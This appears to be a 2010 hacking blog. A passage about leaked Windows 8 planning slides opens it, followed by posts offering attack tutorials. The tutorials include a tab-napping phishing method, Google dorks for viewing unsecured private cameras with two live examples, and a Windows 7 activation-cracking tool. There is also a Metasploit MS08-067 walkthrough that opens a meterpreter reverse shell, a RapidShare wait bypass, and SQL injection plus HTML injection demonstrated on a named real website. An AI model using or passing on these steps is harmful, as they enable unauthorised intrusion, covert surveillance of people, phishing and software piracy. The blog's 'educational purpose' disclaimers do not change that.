Of note, these slides were apparently leaked or inadvertently released after being given to one Derek Goode at HP. Likewise, many of the discussions throughout the slides address HP, so the 3rd phase above making reference to Dell interests me. Anyway, here is the slide of note:

Windows 8: Identity Evolved

There appears to be considerable planning taking place as to how a user will access Windows. Right off the bat, one of my favorites is the following prototype which shows a user logging in via facial recognition! Basically, you enroll your face, then all you should have to do from that point forward is sit down, have your webcam get a look at you and then log you in based on facial recognition:

The following slide details other considerations for Windows 8 where identity is concerned. Namely, user accounts will still be the primary method of accessing Windows for individuals, fast user switching is a continued focus, and most notably, Windows accounts could be connected to the cloud which would allow for roaming settings/preferences between PCs and devices and PCs to log on to websites on the user’s behalf — all marking an evolution of Windows identity from being machine-centric to user-centric.

Trends Shaping the Planning of Windows 8

Shaping the planning of Windows 8 are explosion of form factors (laptops, netbooks, slates, etc.), assumed connectivity (focus on software + services for end-user scenarios), collision of enterprise and personal worlds (aiming to help customers have a seamless experience across their personal and professional lies), personal content experience, and more. The following slide elaborates:

Windows 8 Consumer Target Audiences

As we see detailed in the slide below, enthusiasts and mainstream consumers are the two main consumer target audiences for Windows 8:

Windows 8 Developer Market

No surprise here that Microsoft’s addressable developer market for Windows 8 spans from hobbyist/non-professional developers to professional developers to science, technology, engineering, and math developers:

Windows 8 Differentiation Goals

As for form factors, Microsoft’s 3 main focuses for Windows 8 appear to be Slate, Laptop, and All-in-One (all detailed in slides below). Additionally, customization areas include Applications, Devices, Multimedia, Help and Support, and UI and Theming (all also detailed in slides below). One of the key takeaways here is Microsoft detailing “Slate” as a major form factor focus. This means the Windows-based Slate devices are still likely to make an appearance at some point:

and many other informative slides........

credits:crazyscriptz

ADVANCED PHISING TECHNIQUE: Tab Napping

2010-06-21T02:10:00.001-07:00

We all are familiar with the technique of phishing, tab-napping is the advanced form of phishing is out in the market, 
in which when u open any genuine page say the page of any legitimate website like any shop,etc... and if you dont use that
page or in short if that page is kept idle for few seconds because of many reasons like we start browsing other site,
attending phone calls etc, then malicious page automatically gets redirected to phished page or duplicate page of popular sites
like gmail,orkut,facebook,yahoo,etc... which we didnt notice, coz.. we never opened that page, so it looks kinda of genuine page.
=================================================================================================================================
Method:
How this is done:
It is done by checking wether your page is idle or not, if it is idle or not used for some particular time period
then it gets redirected:
Things to be done:
1.check for mouse movement
2.check for scroll bar movement
3.check for keystrokes

If any of the above event is not triggered till few seconds , this means user is not using that tab, either is off from system 
or using other tab, so if these conditions are met, then we redirect it to our phished page, which user thinks it to be genuine
page.
===================================================================================================================
Code:
http://tinypaste.com/e94a51
================================================================
demo:http://slayericw.zxq.net/tabnappingdemo.html

Live CAM Hack

2010-04-22T21:13:00.000-07:00

Hello guys, have you ever wondered about watching someone else using their own cam, hmm ya u guys might be saying yes it is possible... to see through someones cam using some tools like RATS etc, but here i would like to share some live cam hacks, which are normally used by local authorities to monitor streets or anyone else... i mean those cams which can be accessed remotly but in order to access them you should have the proper authorization, but due to lack of proper security measures, those cams can be seen by anyone... thanx google you just need to use google hack, some of the google dorks which can be used are:

inurl:”CgiStart?page=”
inurl:/view.shtml
intitle:”Live View / – AXIS
inurl:view/view.shtml
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG) (disconnected)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera” (disconnected)
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / – AXIS”
intitle:”Live View / – AXIS 206M”
intitle:”Live View / – AXIS 206W”
intitle:”Live View / – AXIS 210?
inurl:indexFrame.shtml Axis
inurl:”MultiCameraFrame?Mode=Motion” (disconnected)
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image” (disconnected)
intitle:”i-Catcher Console – Web Monitor”

I would also like to add few example which i got using these hacks.
http://www.havnegaten15.com:8134/
http://camera.infosakyu.ne.jp/

there are many, but i leave it on you to find the rest cams, and ya also i got those links using the dorks i have mentioned, but what to do after getting the search result, i wont tell tell, coz. i leave that on you guys how to proceed next, as no fun will be left if i tell that too.

Get Original WINDOWS 7 :FREE

2010-03-20T11:33:00.000-07:00

Many of us have tried our hand on the rc or beta version of windows 7, but after the launch of stable version of windows 7, maximum users have been pissed by seeing the message at the starting of their rc or beta version of windows 7.
Message is something like, you are not using a genuine copy of windows or you may be a victim or piracy something like that. so how remove this message or question can be re framed as how to get the original windows 7 without paying a penny.

second question could be from those users who have not tried their hand on any form of windows 7 but they want to use windows 7 without paying anything just like everybody is using xp is freely available on net with all service packs.

Answer to the question of both kind of users lies in a new software developed by a hacker known by the name of HAZAR.
He developed a software which removes the file which is responsible for validating the authenticity or genuinity of the copy of windows.

First install any copy of windows 7 which is freely available say rc or beta version.

After that install this software, on that system after one month because any version of windows 7 allows you to use it and receive all the updates for free.After one month it starts showing you messages of piracy and all troubles start from there.

So, install this software , it will require your system to restart , so dont worry let your system restart. And restarting your system you will be free from all those unwanted messages which you used to see at the beginning of starting of windows 7.

Not only this , you will be able to receive the updates like a genuine copy and your windows copy will become just like a genuine copy of windows 7. It will also enable your windows copy to bypass the sofware check of windows defender like a genuine copy.

Hazar claims that " there will be no windows activation section in control panel, no nags, no prompts, no slmgr, nothing"

Download this software from here

NOTE:
1. I have tried this sofware on my own, and i had no problem in using this and operating system behaved like a genuine copy.
2.All the information have collected from varios websites, no proper authentication.

METASPLOIT:HACK LIKE MOVIES

2010-03-10T15:33:00.000-08:00

We all have seen the movies like hackers,etc we all have imagined to become the one like in movies.

So, taking a step forward to this dream i am giving a small tutorial on metasploit. I will be using a terminology msf instead of metaspoilt.

For those who dont know what is msf and have always been facinated by black and green screens, here is how it is done.

I am going to use NESSUS for vul. scanning and rest of the work will be done by msf. Also, I will be using msf console because it gives better control over the msf framework and faster response, using console has one more added advantage i.e.. it gives geeky look for which we all have a mind set that its very hi-fi.

Cutting all the discussions, directly coming to the topic.

So How to do it, I will describe this in steps for the better understanding, for this purpose i have used two system whom i have connected via WAN, host os doesnot matter, victim has xp installed on it.

Basic commands to be known:

1.searching anything: "search name"
2.set exploit: "use exploit_name"
3.set payload:"set payload payload_name"
4.see info: "info name"

STEP 1:
First instead of using nmap for port scanning , we have used nessus for the vul scanning, nessus has one more added advantage of giving each vul a number which helps in msf to search the proper exploit.

So, first we will scan the target.

In the above scan you can see how good nessus is in giving the information about the level of vulernability.
After analysing the report, we see 5 high vulnerability so clicking on the first one, lets see its details:

We can see lots of info about the vulnerability, vulnerability here service flaw at port 445 which has been given the number of MS08-067, this number is going to be of great help in future.

STEP2:
In msf, we are going to search for the proper exploit which can exploit it's vulnerability, so to make our search easier we are gonna type search number, wola see what we have got is the exact name of exploit, but for the other cases where you dont know the number or id , then also we can search by giving various parameters like name eg. search name etc...then we have to choose the best one among them by comparing all the requirnments and working.

Now , since here we have got the exact exploit, then we are going to use this exploit,
command used for it:
use exploit name eg. use windows/smb/ms08_067_netapi
we will check the various parameters by typing: info windows/smb/ms08_067_netapi

STEP3:
Now it's time to set victim's ip address i.e.. RHOST , RPORT is already set to 445

command to set RHOST: setg RHOST 192.168.1.5
Note:
(192.16.1.5 is the ip address of ma pc on local network whom i am going to attack)

STEP4:
After setting exploit, now its time to set the payload, so the main question arises which payload to use now??
Options for this questions can be shortened by typingshow payloads which gives the list of payloads which are compatible with that exploit.
In that we are going to select any payload , i prefer meterpreter/reverse_tcp.

To use this payload type the command: set payload windows/meterpreter/reverse_tcp

so , i will check it's paramater i.e.. LHOST, LPORT etc, now to check that , we type info windows/meterpreter/reverse_tcp

Now here we have to make some change LHOST, LHOST refers to the ip-address of attacker i.e.. mine.
So to set the LHOST we do : setg LHOST 192.168.1.10

all done we are now ready to exploit.

STEP 5:
Finally we type exploit wola.... attack sucessful, session is created.

Now, what to do now?? Just type the command help you will get a list of commands like kill process, shutdown,hash dumps, but i like shell because it gives you the full command line control of the system which you can see from the above picture.

Special Thanks: ICW,AH, guys and b0nd bro for their help in learning.

NOTE:
1.This tutorial is only for learning purpose, for any illegal use author is not responsible.
2.Any form of use of this tutorial should be done at own risk.

RapidShare Hack

2010-03-08T11:15:00.000-08:00

Guys who dont have rapidshare premium account are feed from rapidhsare because of two reasons:

1.Maximum time during the day time , we end up with they dont have free slots for download either you premium member or try after some time

2.If we get the access , then all the free users have to wait, for some 30 sc to 120 seconds deponding upon the traffic.

3.You guys can download only one file at time.

solutions:
1:
For the first problem really nothing can be done untill unless u have premium account, or u can use some downloaders which are available on net. just google them
2.
This tutorial is meanly meant to deal with the second problem.
Requrienments for this is: javascript enabled browser, else it wont work

Now what to do when u get the time line of wating for your download say 30 sc, 90 sc which varies..
Steps:
1. When u click as a free user check, wether u get the time line or not, if not kepp trying or try after some time.

2.when u get the time-line, then:

3.Go to the address bar remove replace the address by following command:

javascript{:}alert(c=0).
From the above command remove the curly braces i.e.. { }
press enter, whola what did u see now. a screen prompts up, with 0 written on , wait for 1-2 seconds, you will get the download icon, click that, and your download will start.

sometime you may get error that your javascript is not supported, so enable javascript.

For these things i prefer using google chrome, and ya sometime you guys may also get this error even if you have javascript enabled, then during this case probably javascript from your browser didnot gave the response to the server, for this problem close your browser and restart it, and try again definetly after 2-3 attempts your browser will work.

3.
Now you cannot download multiple files from rapidshare being free user, this problem can be simply solved by using proxies.
steps:
1.start downloading first file.
2.open a new window, go to any proxy like kproxy.com or any other proxy which ever u like, there type the url of the file you want to download from rapidshare.

or else you can use another trick to change your ip-address, beacuse rapidshare guys keep track of only ips nothing much, so you guys can use softwares like hide my ip etc, which spoofs your ip and then you can download it.

SQLi & XSS ATTACK practical demonstration

2010-03-05T13:56:00.000-08:00

We guys have attended so many conferences on hacking coming across the terms like phishing,sqli, and now adays XSS.

But what happens there is that we dont get a chance to do it by ourself, so that we see by ourself infact feel it... happening.

So, i thought of wrtitng a small tutorial for xss and sqli which by chance because of a friend i found in same site, so it was easy for me also to give the explanation and as well as demonstration.

First: SQLi :

What is SQLi??

SQli is the sql injection vul. which is due to of poor coding of the website mainly, at that part where we are handling the database querry and not putting the handling condition for error.

What is XSS?

For getting the idea of XSS please refer to my previous post of XSS ANATOMY strucuture.

We are taking the example of website: http://www.lilinet.com/

Proceed as per the step then you will understand how sqli and xss work:

step1:

open the site and go the login panel. Here we will be using sqli vul. i.e.. as most people like to say magic figure ' or 1=1-- . I wont explain here the working and concept behind this, well if u guys want, we will discuss this later.

After this click ok. boom what u guys see, you are inside the panel of some trusted user, actually the user whose user id=1, tht guys profile u vl get access, reasons i vl discuss later on sqli tutorials.

This was basic sqli vulernability.

STEP2:

This was the practical demonstration for the sqli, now we will move forward for the demonstration of xss.

Since we are logged in the the user profile, now to get the demonstration of XSS, go to the member section, and in name section type {u}carter, instead of carter you can type any name. here replace { } of { u} by < >, coz, these are the basic html tags, and even blogs behaviour deponds on this, so to show u the proper syntar i have to write { }, but see the picture , you will get better idea

After entering the name like ur name , and clicking apply changes, what you guys see, that your name has appeared as underlined. This gives us an idea that , basic html tag filtering is not enable on this website.
Lets try by other ways i mean lets try with other html tags:like marquee etc, i have tried all this and trust me it has worked. like try {marquee}Hacked ,,,,,,,,,,,,,,,,,,{/marquee} in the name section, see its effect after clicking on apply changes.
same reason replace { } by < > respectively.

To confirm that its not temprorary change, lets change the section say go to home section , wola.... name has not changed here in my case it is still underlined carter, in your case it will depond on you whatever name you keep.

Thats it , CONGRATULATIONS GUYS YOU GUYS HAVE BEEN ABLE TO HACK ACCOUNT

Go, have fun , play few free games, but dont damage the website because cyber crime law is very strict, and trust me you guys dont wanna to mess with them.

NOTE:
1.This information is only for educational purpose, website admin has been informed of the loop holes, so it might get fixed.
2.This tutorial is only meant for educational purpose, author is not responsible for any illegal use.

IF YOU GUYS LIKE THIS THEN PLEASE TELL ME HERE OR IF YOU GUYS DONT LIKE THEN PLEASE SUGGEST WHAT ELSE COULD BE DONE, I WANNA THIS BLOG MORE INFORMATIVE IN THE FIELD OF CYBER SECURITY.
my e-mail id: s1ayer.icw@gmail.com

some more experiments done on that website......................